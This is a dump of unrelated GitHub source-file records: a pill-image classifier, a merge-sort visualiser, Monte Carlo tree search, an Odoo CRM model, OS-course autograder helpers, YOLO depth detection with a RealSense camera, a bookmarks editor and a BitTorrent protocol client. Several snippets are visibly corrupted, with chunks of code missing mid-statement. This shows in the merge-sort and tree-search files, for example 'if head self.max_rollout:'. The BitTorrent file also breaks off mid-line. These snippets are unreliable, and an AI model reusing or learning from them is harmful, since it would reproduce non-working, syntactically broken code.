]\n","repo_name":"mozilla/zamboni","sub_path":"mkt/developers/migrations/0004_auto_20150824_0820.py","file_name":"0004_auto_20150824_0820.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"} +{"seq_id":"34789057790","text":"from __future__ import print_function, division\n\nimport torch\nimport torch.nn as nn\nfrom efficientnet.model import EfficientNet\nfrom PIL import Image\nimport numpy as np\nfrom sklearn.utils import compute_class_weight\nfrom torchvision import datasets, models, transforms\nimport math\nfrom segmentation.segmentation_detector import Segmentation_Detectron2\nif __name__ == \"__main__\":\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n segmentation = Segmentation_Detectron2('./segmentation/dataset/label.json','./segmentation/dataset/train_images','pill')\n model = EfficientNet.from_pretrained('efficientnet-b7')\n class_num = 108\n num_ftrs = model._fc.in_features\n model._fc = nn.Linear(num_ftrs, class_num)\n # model = EfficientNet.from_pretrained('efficientnet-b7').to(device)\n state = torch.load('./pill_ckp.pt')\n model.load_state_dict(state['model_state_dict'])\n model = model.to(device)\n model.eval()\n\n img = Image.open(\"./V27.jfif\")\n np_img = np.array(img)\n outputs = segmentation.segmented_pills(np_img)\n boxes = outputs[\"instances\"].to(\"cpu\").pred_boxes\n masks = outputs[\"instances\"].to(\"cpu\").pred_masks\n for i in range(len(boxes)):\n x1,y1,x2,y2 = boxes.tensor[i]\n x1,y1,x2,y2 = math.floor(x1),math.floor(y1),math.floor(x2),math.floor(y2)\n moi = masks[i][y1:y2,x1:x2].squeeze()\n seg_img = np_img[y1:y2,x1:x2]\n seg_img = seg_img * np.array(moi.unsqueeze(2))\n\n data = torch.tensor(np_img).unsqueeze(0).to(device) \n with torch.no_grad():\n val_output = model(data).argmax(dim=1)\n #val_output = model(data)\n print(val_output)\n","repo_name":"vinhhust2806/Medicine-Pill-Image-Recognition","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29036767100","text":"import time\n\ndef merge(list_numbers,start1, end1, start2, end2,draw_in_canvas, time_chosen):\n\t\n\tdata = []\n\tstart_1,start_2 = start1,start2\n\n\twhile start1<=end1 and start2<=end2:\n\t\tif list_numbers[start1]=start1 and i<=end1:\n\t\t\tcolorArray[i] = 'brown'\n\t\telif i>=start2 and i<= end2:\n\t\t\tcolorArray[i] = 'purple'\n\treturn colorArray\n\ndef merge_sort(list_numbers, head, tail, draw_in_canvas,time_chosen):\n\tif head self.max_rollout:\n sum_reward = -1*len(actions)\n break\n \n node.visits += 1\n node.value += sum_reward\n\n while node.parent:\n node.parent.visits += 1\n node.parent.value += sum_reward \n node = node.parent\n \n return(actions, sum_reward)\n \n def optimalSequence(self):\n node = self.root\n optimal_sequence = []\n while node.children:\n values = []\n for child in node.children:\n values.append(child.value)\n best_child = values.index(max(values))\n optimal_sequence.append(best_child)\n node = node.children[best_child]\n \n return(optimal_sequence)\n \n \n def runSimulation(self, exploration_rate, track_progress=False):\n for i in range(self.budget):\n if i == 0:\n self.expand(self.root)\n for child in self.root.children:\n _,_ = self.rolloutAndBackprop(child)\n else:\n best_leaf, scores = self.calculateBestLeaf(exploration_rate)\n if best_leaf.visits == 0:\n self.rolloutAndBackprop(best_leaf)\n else:\n self.expand(best_leaf)\n selection = np.random.randint(len(best_leaf.children))\n self.rolloutAndBackprop(best_leaf.children[selection])\n if (i % 100 == 0) and track_progress:\n print(\"budget \" + str(i) + \" consumed\")\n optimal_sequence = self.optimalSequence()\n return(optimal_sequence)\n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--rollout\", type=int, help='How many steps allowed for rollout')\n parser.add_argument(\"--budget\", type=int, help=\"How long to run the simulation\")\n parser.add_argument(\"--exploration\", type=float, help=\"set an exploration rate\")\n parser.add_argument(\"--plot\", type = str2bool, help=\"visualise rollouts\")\n parser.add_argument(\"--verbose\", type = str2bool, help=\"plot optimal sequence after\")\n args = parser.parse_args()\n \n rollout = args.rollout\n budget = args.budget\n exploration = args.exploration\n plot = args.plot\n verbose = args.verbose\n \n env = gym.make(\"MiniGrid-Empty-5x5-v0\")\n env.reset()\n mct = MCTS(env, max_rollout=rollout, budget=budget)\n optimal_sequence = mct.runSimulation(exploration, track_progress=verbose)\n if plot:\n visualiseSteps(optimal_sequence)\n\n\n ","repo_name":"Rasheedelbouri/Monte_carlo_tree_search_with_gym","sub_path":"monte_carlo_tree_search.py","file_name":"monte_carlo_tree_search.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42749047550","text":"# -*- coding: utf-8 -*-\n#from openerp import models, fields, api\nfrom odoo import models, fields, api\n\n\nclass Team(models.Model):\n _inherit = 'crm.team'\n\n @api.depends()\n def _compute_is_apply(self):\n for rec in self:\n commission_based_on = rec.company_id.commission_based_on if rec.company_id else self.env.company.commission_based_on\n rec.is_apply = False\n if commission_based_on == 'sales_team':\n rec.is_apply = True\n\n commission_type = fields.Selection(\n string=\"Commission Amount Type\",\n selection=[\n ('percentage', 'By Percentage'),\n ('fix', 'Fixed Amount'),\n ],\n )\n is_apply = fields.Boolean(\n string='Is Apply ?',\n compute='_compute_is_apply'\n )\n commission_range_ids = fields.One2many(\n 'sales.commission.range',\n 'commission_team_id',\n string='Sales Commission Range',\n )\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"musaab123/backup_repo","sub_path":"real_estate_commission/models/crm_team.py","file_name":"crm_team.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36576581545","text":"import subprocess as sp\nimport os\nimport stat\nimport logging\nfrom pathlib import Path\nimport zipfile as zip\nfrom osCheckers import utils\n\n\ndef compile_static_files(gen_log):\n try:\n s = sp.run(['gcc', '-o3', '-w', '-Wall', '-std=c11', \"message_reader_true.c\", '-o', \"message_reader_true\"],\n check=True)\n os.chmod(f\"./message_reader_true\",\n stat.S_IRWXO | stat.S_IRWXG | stat.S_IRWXU) # DEBUG: testing this\n except sp.SubprocessError as e:\n print(\"Reader compile failed\", e)\n return 1\n\n try:\n s = sp.run(args=['gcc', '-o3', '-Wall', '-std=gnu99', \"message_sender_true.c\", \"-o\", \"message_sender_true\"],\n check=True)\n os.chmod(f\"./message_sender_true\",\n stat.S_IRWXO | stat.S_IRWXG | stat.S_IRWXU) # DEBUG: testing this\n except sp.SubprocessError as e:\n print(\"Sender compile failed\", e)\n return 1\n\n return 0\n\n\ndef delete_stud_dir_zips_folder(stud_path_dir):\n zip_dir = Path(\"/home/user/work/OS_autoGrader/zip_files\")\n\n student_items = stud_path_dir.stem.split(\"_\")\n student_name = student_items[0] + ' ' + student_items[1]\n\n for stud_zip in zip_dir.iterdir():\n if stud_zip.name.startswith(student_name):\n os.unlink(str(stud_zip))\n return\n\n\n\ndef uzip_and_build_test_environment(super_log, path_from=Path(\"/home/user/work/OS_autoGrader/zip_files/\"),\n path_to=Path(\"/home/user/work/OS_autoGrader/assignments/\")):\n assignments_dir = path_to\n\n try:\n os.system('sudo mkdir /dev/tester')\n except Exception as e:\n pass\n\n for student_zipped in path_from.iterdir():\n splitted_filename = student_zipped.name.split(\"_\")\n student_first_name = splitted_filename[0].split(\" \")[0]\n student_last_name = (splitted_filename[0].split(\" \"))[1]\n student_id = splitted_filename[4]\n\n student_dir_path = assignments_dir / f\"{student_first_name}_{student_last_name}_{student_id}\"\n try:\n student_dir_path.mkdir()\n except FileNotFoundError as e:\n print(f\"directory creation failed for student: {student_first_name}_{student_last_name}_{student_id}\", e)\n super_log.info(\n f\"directory creation failed for student: {student_first_name}_{student_last_name}_{student_id}\", e)\n continue\n\n logger_path = student_dir_path / 'testlog.log'\n stud_logger = utils.setup_logger(name='test log', log_file=logger_path, mode='w')\n\n with zip.ZipFile(student_zipped, 'r') as ref:\n ref.extractall(path=student_dir_path)\n # student_zipped.unlink()\n\n\ndef compile_student_files(exe_files_path, stud_logger):\n try:\n with utils.currentWorkingDir(exe_files_path):\n s = sp.run([\"gcc\", \"-O3\", \"-Wall\", \"-std=c11\", \"message_reader.c\", \"-o\", \"message_reader\"],\n check=True)\n os.chmod(f\"./message_reader\",\n stat.S_IRWXO | stat.S_IRWXG | stat.S_IRWXU)\n except Exception as e:\n stud_logger.info(\"message_reader compile failed\", e)\n return 1\n\n try:\n with utils.currentWorkingDir(exe_files_path):\n s = sp.run([\"gcc\", \"-O3\", \"-Wall\", \"-std=c11\", \"message_sender.c\", \"-o\", \"message_sender\"],\n check=True)\n os.chmod(f\"./message_sender\",\n stat.S_IRWXO | stat.S_IRWXG | stat.S_IRWXU)\n except Exception as e:\n stud_logger.info(\"message_reader compile failed\", e)\n return 1\n\n try:\n with utils.currentWorkingDir(exe_files_path):\n s = sp.run([\"make\"], check=True)\n if s.returncode != 0: # check if compilation works\n print(\"Make failed\") # DEBUG\n return 1\n except Exception as e:\n print(\"make compile failed\", e)\n return 1\n\n try: # Check if the .ko file was created\n if not os.path.exists(exe_files_path / \"message_slot.ko\"):\n print(\".ko file missing\") # DEBUG\n return 1\n except Exception as e:\n print(\"OSError compile_files: \", e)\n return 1\n\n return 0\n\n\ndef copy_scripts_to_user(student_dir, logger,\n from_path='/home/user/work/OS_autoGrader/osCheckers/hw3_2020a'):\n \"\"\" Copy bash scripts from /src to file_path_to_exe \"\"\"\n try:\n ret = os.system(f'sudo cp -p {from_path}/message_reader_true {student_dir}')\n except OSError as e:\n logger.info(f\"copy message_reader_true failed: {e}\")\n\n try:\n ret = os.system(f'sudo cp -p {from_path}/message_sender_true {student_dir}')\n except OSError as e:\n logger.info(f\"copy message_reader_true failed: {e}\")\n","repo_name":"YuvalHelman/OS_autoGrader","sub_path":"osCheckers/hw3_2020a/hw3_utils.py","file_name":"hw3_utils.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74660592082","text":"import os\nimport sys\nimport cv2\nimport yaml\n\nfrom ctypes import *\nimport random\nimport time\n\nimport darknet\nimport argparse\n\n\n\n\n\nimport numpy as np\nimport pyrealsense2 as rs\n\nYAML_FILE = \"bs-rover.yml\"\nINPUT = \"0\"\nOUTPUT = \"output.mp4\"\n\nSAVE_VIDEO = False\n\nclass YoloCfg():\n def __init__(self,yml):\n self.input = INPUT\n self.weights = yml[\"weights\"]\n self.config_file = yml[\"config_file\"]\n self.data_file = yml[\"data_file\"]\n self.thresh = 0.80\n\n\ndef check_arguments_errors(args):\n assert 0 < args.thresh < 1, \"Threshold should be a float between zero and one (non-inclusive)\"\n if not os.path.exists(args.config_file):\n raise(ValueError(\"Invalid config path {}\".format(os.path.abspath(args.config_file))))\n if not os.path.exists(args.weights):\n raise(ValueError(\"Invalid weight path {}\".format(os.path.abspath(args.weights))))\n if not os.path.exists(args.data_file):\n raise(ValueError(\"Invalid data file path {}\".format(os.path.abspath(args.data_file))))\n if str2int(args.input) == str and not os.path.exists(args.input):\n raise(ValueError(\"Invalid video path {}\".format(os.path.abspath(args.input))))\n\ndef str2int(video_path):\n \"\"\"\n argparse returns and string althout webcam uses int (0, 1 ...)\n Cast to int if needed\n \"\"\"\n try:\n return int(video_path)\n except ValueError:\n return video_path\n\ndef convert2relative(bbox):\n \"\"\"\n YOLO format use relative coordinates for annotation\n \"\"\"\n x, y, w, h = bbox\n _height = darknet_height\n _width = darknet_width\n return x/_width, y/_height, w/_width, h/_height\n\n\ndef convert2original(image, bbox):\n x, y, w, h = convert2relative(bbox)\n\n image_h, image_w, __ = image.shape\n\n orig_x = int(x * image_w)\n orig_y = int(y * image_h)\n orig_width = int(w * image_w)\n orig_height = int(h * image_h)\n\n bbox_converted = (orig_x, orig_y, orig_width, orig_height)\n\n return bbox_converted\n\ndef calc_average(image, bbox):\n x, y, w, h = bbox\n w,h = w//5,h//5\n roi = image[y-h:y+h,x-w:x+w]\n return np.sum(roi)/roi.size\n\n\n\n# def start_plot():\n# while True:\n# pass\n\n\nif __name__ == '__main__':\n # args = parser()\n f = open(YAML_FILE)\n yml = yaml.load(f,Loader=yaml.FullLoader)\n f.close()\n\n # init YOLO\n args = YoloCfg(yml)\n\n check_arguments_errors(args)\n network, class_names, class_colors = darknet.load_network(\n args.config_file,\n args.data_file,\n args.weights,\n batch_size=1\n )\n darknet_width = darknet.network_width(network)\n darknet_height = darknet.network_height(network)\n\n\n # init d435i\n # Create a pipeline\n pipeline = rs.pipeline()\n\n # Create a config and configure the pipeline to stream\n # different resolutions of color and depth streams\n config = rs.config()\n\n # Get device product line for setting a supporting resolution\n pipeline_wrapper = rs.pipeline_wrapper(pipeline)\n pipeline_profile = config.resolve(pipeline_wrapper)\n device = pipeline_profile.get_device()\n device_product_line = str(device.get_info(rs.camera_info.product_line))\n\n found_rgb = False\n for s in device.sensors:\n if s.get_info(rs.camera_info.name) == 'RGB Camera':\n found_rgb = True\n break\n if not found_rgb:\n print(\"The demo requires Depth camera with Color sensor\")\n sys.exit()\n\n config.enable_stream(rs.stream.depth, 1280, 720, rs.format.z16, 30)\n config.enable_stream(rs.stream.color, 1280, 720, rs.format.bgr8, 30)\n\n if SAVE_VIDEO:\n fourcc = cv2.VideoWriter_fourcc(*\"mp4v\")\n fps = 30\n vw,vh = 1280, 720\n video_color = cv2.VideoWriter(\"_color_out.mp4\", fourcc, fps, (vw,vh))\n video_depth = cv2.VideoWriter(\"_depth_out.mp4\", fourcc, fps, (vw,vh))\n\n\n # Start streaming\n profile = pipeline.start(config)\n\n # Getting the depth sensor's depth scale (see rs-align example for explanation)\n depth_sensor = profile.get_device().first_depth_sensor()\n depth_scale = depth_sensor.get_depth_scale()\n print(\"Depth Scale is: \" , depth_scale)\n\n # We will be removing the background of objects more than\n # clipping_distance_in_meters meters away\n \n # 实际距离为depth_image的值*depth_scale\n clipping_distance_in_meters = 1 #1 meter\n clipping_distance = clipping_distance_in_meters / depth_scale\n\n # Create an align object\n # rs.align allows us to perform alignment of depth frames to others frames\n # The \"align_to\" is the stream type to which we plan to align depth frames.\n align_to = rs.stream.color\n align = rs.align(align_to)\n depth_sensor.set_option(rs.option.emitter_enabled, 0)\n\n profile = pipeline.get_active_profile()\n depth_profile = rs.video_stream_profile(profile.get_stream(rs.stream.depth))\n depth_intrinsics = depth_profile.get_intrinsics()\n print(depth_intrinsics)\n\n n = 0\n fileName = time.strftime(\"%Y%m%d_%H%M%S\", time.localtime())\n fo = open(f\"txtdata/{fileName}.txt\",\"w\")\n fp = open(f\"txtdata/{fileName}-ss.txt\",\"w\")\n start_time = time.time()\n\n while True:\n bb = None\n depth_point = None\n # Get frameset of color and depth\n frames = pipeline.wait_for_frames()\n # frames.get_depth_frame() is a 640x360 depth image\n\n # Align the depth frame to color frame\n aligned_frames = align.process(frames)\n\n # Get aligned frames\n aligned_depth_frame = aligned_frames.get_depth_frame() # aligned_depth_frame is a 640x480 depth image\n color_frame = aligned_frames.get_color_frame()\n\n # Validate that both frames are valid\n if not aligned_depth_frame or not color_frame:\n continue\n\n depth_image = np.asanyarray(aligned_depth_frame.get_data())\n frame = np.asanyarray(color_frame.get_data())\n\n\n frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame_resized = cv2.resize(frame_rgb, (darknet_width, darknet_height), interpolation=cv2.INTER_LINEAR)\n img_for_detect = darknet.make_image(darknet_width, darknet_height, 3)\n darknet.copy_image_from_bytes(img_for_detect, frame_resized.tobytes())\n detections = darknet.detect_image(network, class_names, img_for_detect, thresh=args.thresh)\n darknet.free_image(img_for_detect)\n\n \n detections_adjusted = []\n now = time.time() - start_time\n for label, confidence, bbox in detections:\n bbox_adjusted = convert2original(frame, bbox)\n detections_adjusted.append((str(label), confidence, bbox_adjusted))\n \n ave_depth = calc_average(depth_image,bbox_adjusted)*depth_scale\n\n depth_pixel = bbox_adjusted[:2]\n depth_point = rs.rs2_deproject_pixel_to_point(depth_intrinsics, depth_pixel, ave_depth)\n # print(bbox_adjusted,ave_depth,depth_point)\n # fo.write(\"{:.2f} {},{},{},{} {},{},{}\\r\".format(now,*bbox_adjusted,*depth_point))\n bb = bbox_adjusted\n \n if SAVE_VIDEO:\n depth_colormap = cv2.applyColorMap(cv2.convertScaleAbs(depth_image, alpha=0.03), cv2.COLORMAP_JET)\n video_color.write(frame)\n video_depth.write(depth_colormap)\n\n\n\n\n\n image = darknet.draw_boxes(detections_adjusted, frame, class_colors)\n cv2.imshow('Inference', image)\n \n key = cv2.waitKey(1)\n # Press esc or 'q' to close the image window\n if key & 0xFF == ord('q') or key == 27:\n cv2.destroyAllWindows()\n break\n \n # if key == ord(\" \"):\n if bb != None and depth_point != None:\n n += 1\n print(\"{:.2f}\".format(now),depth_point)\n # print(\"{:.2f}\".format(now),ave_depth,aligned_depth_frame.get_distance(*bb[:2]))\n # print(\"{:.2f}\".format(now),ave_depth,aligned_depth_frame.get_distance(*bb[:2]))\n # print(now,ave_depth,aligned_depth_frame.get_distance(*bb[2:]))\n # print(now,bb,depth_point,)\n fp.write(\"{:.2f} {},{},{},{} {},{},{}\\r\".format(now,*bb,*depth_point))\n # np.save(\"npydata/i-{:05d}.npy\".format(n),frame)\n # np.save(\"npydata/d-{:05d}.npy\".format(n),depth_image) \n # print(f\"{n} save done\")\n\n\n if SAVE_VIDEO:\n video_color.release()\n video_depth.release()\n\n\n\n","repo_name":"BrightSoulXYHY/darknet-bs","sub_path":"predict-435i.py","file_name":"predict-435i.py","file_ext":"py","file_size_in_byte":8390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43812401863","text":"# 11724 연결 요소의 개수\nimport sys\nn, m = map(int, sys.stdin.readline().split())\ngraph = [[] for _ in range(n+1)]\nfor _ in range(m):\n x, y = map(int, sys.stdin.readline().split())\n graph[x].append(y)\n graph[y].append(x)\nvisited = [False] * (n+1)\nvisited[0] = [True]\ncnt = 0\nfor a in range(1, n+1):\n stack = [a]\n if visited[a] == False:\n while stack:\n cur = stack.pop()\n for i in graph[cur]:\n if visited[i] == False:\n visited[i] = True\n stack.append(i)\n cnt += 1\nprint(cnt)","repo_name":"KDT2-Algorithm-study/Algorithm-study","sub_path":"백준/11724/11724_장민지.py","file_name":"11724_장민지.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"19517841801","text":"#백준 4458번 첫 글자를 대문자로\n\n#idea\n#문자열의 첫번째 문자를 아스키코드로 변환후 -32해주고 다시 문자로 변환\n\nfor i in range(int(input())):\n str=input()\n if str[0]>='a' and str[0]<='z':\n print(str.replace(str[0],chr(ord(str[0])-32),1))\n else:\n print(str)","repo_name":"alswp006/IT_skill_up","sub_path":"민제/1주차/B4458.py","file_name":"B4458.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28811985319","text":"import json\nimport os\n\njson_file_loc = os.path.expanduser('~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Bookmarks')\n\n# with open(json_file_loc, 'r') as fp:\n# data = json.load(fp)\n# del data['names'][1]\n\n# with open(filepath, 'w') as fp:\n# json.dump(data, fp)\n\ndef delete_bookmark(url):\n with open(json_file_loc, \"r\") as j:\n json_file = json.load(j)\n bookmarks_info = json_file[\"roots\"][\"bookmark_bar\"][\"children\"]\n\n def find_bookmarks(dict): # recursively find bookmarks in json file\n for item in dict:\n if \"children\" in item:\n find_bookmarks(item[\"children\"])\n else:\n if item[\"url\"] == url:\n print(\"found it\")\n print(item[\"url\"])\n print(item)\n del item\n find_bookmarks(bookmarks_info)\n \n with open(json_file_loc, 'w') as j:\n json.dump(json_file, j)\n\nurl = \"https://stackoverflow.com/questions/71764921/how-to-delete-an-element-in-a-json-file-python\"\n\ndelete_bookmark(url)\n","repo_name":"munir-v/obsidian_keyboard-maestro","sub_path":"brave_bookmarks_remove.py","file_name":"brave_bookmarks_remove.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37543138899","text":"\nnon_admis=[]\npoussin=[]\ncadet=[]\njunior=[]\nsemipro=[]\npro=[]\n\n\nwith open(\"inscrits_total_v2.csv\", \"r\") as f:\n for line in f:\n\n ligne = [x for x in line[:-2].split(\",\")]\n if \"Poussin\" in ligne[2]:\n poussin.append(ligne[0])\n if \"Cadet\" in ligne[2]:\n cadet.append(ligne[0])\n if \"Junior\" in ligne[2]:\n junior.append(ligne[0])\n if \"Semi-Pro\" in ligne[2]:\n semipro.append(ligne[0])\n if \"Pro\" in ligne[2]:\n pro.append(ligne[0])\n if \"Non admis\" in ligne[2]:\n non_admis.append(ligne[0])\n else:\n pass\n\nprint(\"La categorie POUSSIN contient:\",(len(poussin)),\"personne(s):\")\nfor i in poussin:\n print(i)\nprint(\"La categorie CADET contient:\",(len(cadet)),\"personne(s):\")\nfor i in cadet:\n print(i)\nprint(\"La categorie JUNIOR contient:\",(len(junior)),\"personne(s):\")\nfor i in junior:\n print(i)\nprint(\"La categorie SEMI-PRO contient:\",(len(semipro)),\"personne(s):\")\nfor i in semipro:\n print(i)\nprint(\"La categorie PRO contient:\",(len(pro)),\"personne(s):\")\nfor i in pro:\n print(i)\nprint(\"La categorie NON ADMISSIBLE contient:\",(len(non_admis)),\"personne(s):\")\nfor i in non_admis:\n print(i)\n","repo_name":"Newix17/TPpython","sub_path":"divisions.py","file_name":"divisions.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30977968104","text":"from setuptools import setup\n\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(name='trayicon',\n version='0.1.0',\n description='Multi-GUI-toolkit system tray icon package for use with a Tkinter main GUI',\n long_description=long_description,\n url='https://github.com/j4321/trayicon',\n author='Juliette Monsel',\n author_email='j_4321@protonmail.com',\n license='GPLv3',\n classifiers=['Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Widget Sets',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Operating System :: Linux'],\n keywords=['tkinter', 'system-tray',],\n py_modules=[\"trayicon.qticon\",\n \"trayicon.tkicon\",\n \"trayicon.gtkicon\"],\n packages=[\"trayicon\"],\n package_data={'trayicon': ['packages.tcl']},)\n","repo_name":"j4321/trayicon","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17324076696","text":"\ndef main():\n\tmedia_salario,soma_salario,cont,soma_filhos,media_filhos,cont_salario = 0,0,0,0,0,0\n\tprint('Para sair digite o numero zero.')\n\twhile True:\n\t\tsalario = float(input('Digite o seu salario: '))\n\t\tif(salario <= 0):\n\t\t\tprint('FIM.')\n\t\t\tbreak\n\t\tn_filhos = int(input('Digite o numero de filhos: '))\n\t\tcont += 1\n\t\tif(salario<=1000):\n\t\t\tcont_salario += 1\n\t\tsoma_salario = soma_salario + salario\n\t\tsoma_filhos = soma_filhos + n_filhos\n\tmedia_salario = soma_salario / cont\t\n\tmedia_filhos = soma_filhos / cont\n\tporcen = (cont_salario / cont) * 100\n\tprint('\\nMedia de salarios: %.2f'%media_salario)\n\tprint('\\nMedia de filhos: %.2f'%media_filhos)\n\tprint('\\nPercentual de pessoas com um salario ate R$ 1000: %d %%.'%porcen)\n\nif __name__ == '__main__':\n\tmain()","repo_name":"rogeriosilva-ifpi/adsi-algoritmos-2016.1","sub_path":"atividade_f/atividade-Joseph-Jhonatan/3_list_24.py","file_name":"3_list_24.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14387207495","text":"import struct\nfrom twisted.internet.protocol import Protocol, Factory, ClientFactory\nfrom twisted.internet import reactor\nimport bitarray\nfrom enum import Enum\nimport logging\n\nimport dtoc_bencode\n\nREQUEST_PIECE_SIZE = 0X4000\n\nclass BTProtocolStates(Enum):\n handshake_sent = 1\n connected = 2\n\nclass BTClientFactory(ClientFactory):\n def __init__(self, torrent, lndp=False):\n self.torrent = torrent\n self._lndp = lndp\n\n def buildProtocol(self, addr):\n p = BTProtocol(self.torrent)\n p.addr = addr\n p.type = 0 #outgoing\n p._is_lndp = self._lndp\n return p\n\n def clientConnectionFailed(self, connector, reason):\n # if self.torrent.verbose > 10: print(self.torrent.name, \"Lost Failed\")\n d = connector.getDestination()\n addr = (d.host, d.port)\n if addr in self.torrent.peers:\n self.torrent.peers.remove(addr)\n\n def clientConnectionLost(self, connector, reason):\n if self.torrent.verbose > 10: print(self.torrent.name, \"Lost connection\", reason)\n\n\nclass BTProtocolFactory(Factory):\n def __init__(self, torrent):\n self.torrent = torrent\n\n def buildProtocol(self, addr):\n p = BTProtocol(self.torrent)\n p.addr = addr\n p.type = 1 #incoming\n return p\n\nclass BTProtocol(Protocol):\n def __init__(self, torrent):\n self._torrent = torrent\n self._buffer_piece = b''\n self._buffer_block = b''\n self._buffer_msg = b''\n self._current_index = None #cached block\n self._current_request = None\n self._currently_downloading_block = None #the block we are currently downloading\n self.am_choking = True\n self.am_ineterested = False\n self.peer_choking = True\n self.peer_interested = False\n self.peer_bitfield = set()\n self.state = None\n self.type = None #incoming:1 or outgoing:0 set by factory\n self.downloaded = 0 #reset every 2 seconds for mor accurate speed\n\n def connectionMade(self):\n self._send_handshake()\n self._torrent.current_protocols.add(self)\n logging.info(\"Connection made with %s\"%self.addr)\n\n def connectionLost(self, reason):\n self._torrent.current_protocols.remove(self)\n logging.warn(\"Connection lost with %s\"%self.addr)\n\n def dataReceived(self, data):\n self.downloaded += len(data)\n self._buffer_msg += data\n while True:\n if self.state == BTProtocolStates.connected:\n if len(self._buffer_msg) < 4:\n break\n l, *_ = struct.unpack_from('>I', self._buffer_msg)\n if len(self._buffer_msg) < 4+l: break\n msg = self._buffer_msg[4:4+l]\n self._buffer_msg = self._buffer_msg[4+l:]\n self._call_msg_handler(msg)\n elif self.state == BTProtocolStates.handshake_sent:\n if len(self._buffer_msg) < 68:\n break\n if not self._buffer_msg.startswith(b'\\x13BitTorrent protocol'):\n self.transport.loseConnection()\n break\n msg = self._buffer_msg[:68]\n self._buffer_msg = self._buffer_msg[68:]\n self._handle_handshake(msg)\n\n def do_download(self, index=None):\n if self.peer_choking == True: return\n if index is None or index < 0 or index >= len(self._torrent.pieces):\n index = self._torrent.give_me_order(self.peer_bitfield)\n if index is None:\n self._currently_downloading_block = None\n return\n target_piece_size = self._torrent.length_of_piece(index)\n offset = 0\n length = min(REQUEST_PIECE_SIZE, target_piece_size)\n self._currently_downloading_block = index\n self._send_request(index, offset, length)\n\n def _send_handshake(self):\n reserved = bytearray(b'\\x00'*8)\n reserved[5] |= 0x10\n self.transport.write(b'\\x13BitTorrent protocol')\n self.transport.write(reserved)\n self.transport.write(self._torrent.info_hash)\n self.transport.write(self._torrent.peer_id)\n self.state = BTProtocolStates.handshake_sent\n\n def _handle_handshake(self, packet):\n \"\"\"Assume packet is valid\"\"\"\n if packet[28:48] != self._torrent.info_hash:\n logging.debug(\"Wrong infohash. losing connection.\")\n self.transport.loseConnection()\n return\n self.peer_id = packet[48:68] #self.peer_id is his peer id, self._torrent.peer_id is ours\n if self.peer_id == self._torrent.peer_id:\n self.transport.loseConnection()\n return\n if (packet[25] & 0x10) and self.type == 0:\n self._send_ltep_handshake()\n self.state = BTProtocolStates.connected\n self._send_bitfield()\n self._send_intereseted()\n\n id_to_method = {\n -1: '_handle_keep_alive',\n 0 : '_handle_choke',\n 1 : '_handle_unchoke',\n 2 : '_handle_interested',\n 3 : '_handle_not_ineteresetd',\n 4 : '_handle_have',\n 5 : '_handle_bitfield',\n 6 : '_handle_request',\n 7 : '_handle_piece',\n 8 : '_handle_cancle',\n 20: '_handle_ltep'\n }\n\n def _call_msg_handler(self, msg):\n msg_id = struct.unpack_from('>B', msg)[0] if msg else -1\n payload = msg[1:] if msg else None\n getattr(self, self.id_to_method[msg_id])(payload)\n\n def _send_keep_alive(self):\n self.transport.write(b'\\x00\\x00\\x00\\x00')\n\n def _send_choke(self):\n self.am_choking = True\n self.transport.write(b'\\x00\\x00\\x00\\x01\\x00')\n\n def _send_unchoke(self):\n self.am_choking = False\n self.transport.write(b'\\x00\\x00\\x00\\x01\\x01')\n\n def _send_intereseted(self):\n self.am_ineterested = True\n self.transport.write(b'\\x00\\x00\\x00\\x01\\x02')\n\n def _send_not_interested(self):\n self.am_ineterested = False\n self.transport.write(b'\\x00\\x00\\x00\\x01\\x03')\n\n def _send_have(self, index):\n self.transport.write(b'\\x00\\x00\\x00\\x05\\x04')\n self.transport.write(struct.pack('>I', index))\n\n def _send_bitfield(self):\n bytes_ = self._torrent.bitfield.tobytes()\n self.transport.write(struct.pack('>I', len(bytes_)+1))\n self.transport.write(b'\\x05')\n self.transport.write(bytes_)\n\n def _send_request(self, index, begin, 